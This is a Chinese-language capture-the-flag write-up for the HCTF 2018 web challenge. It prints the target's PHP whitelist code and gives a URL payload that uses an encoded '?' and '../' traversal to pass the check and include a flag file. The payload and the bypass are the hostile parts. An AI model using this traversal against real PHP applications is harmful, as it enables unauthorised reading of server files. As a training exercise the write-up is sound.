题目描述

来源:HCTF 2018

Solution

打开页面,发现是一张图片:

1.png

我们用 dirsearch 扫描一下目录,发现有一个source.php文件可以打开:

2.png

我们进入到source.php,观察源代码:

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

源代码里有给白名单列表,有一个成员是hint.php,我们跟进看一看:

3.png

源代码中有几个值得关注的函数:

  • mb_substr($str: string, $start: int, $length: int) -> string:从strstart处获取子串,长度为length
  • mb_strpos($haystack: string, $needle: string) -> int:查找needle首次在haystack中出现的位置;

我们的核心目标是让指令控制了进入if分支:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    }

然后利用文件包含漏洞把ffffllllaaaagggg的内容打印出来。

我们尝试构造 Payload:

http://111.200.241.244:62173/source.php?file=hint.php%3f../ffffllllaaaagggg
  • 第一次执行mb_substr()时,会截取出hint.php%3f../ffffllllaaaagggg字符串,因为它不在白名单里,所以会继续往下执行;
  • hint.php%3f../ffffllllaaaagggg进行一次 URL 解码,得到hint.php?../ffffllllaaaagggg(注意浏览器在发送数据的时候会进行一次 URL 编码,我这里为了抓重点演示数据就没写完整);
  • 第二次执行mb_substr(),会截取出hint.php,因为它在白名单里,所以会return true

但是执行了上面的 Payload,没有发现 Flag,我们一级级向上穷举,最后能找到 Flag:

4.png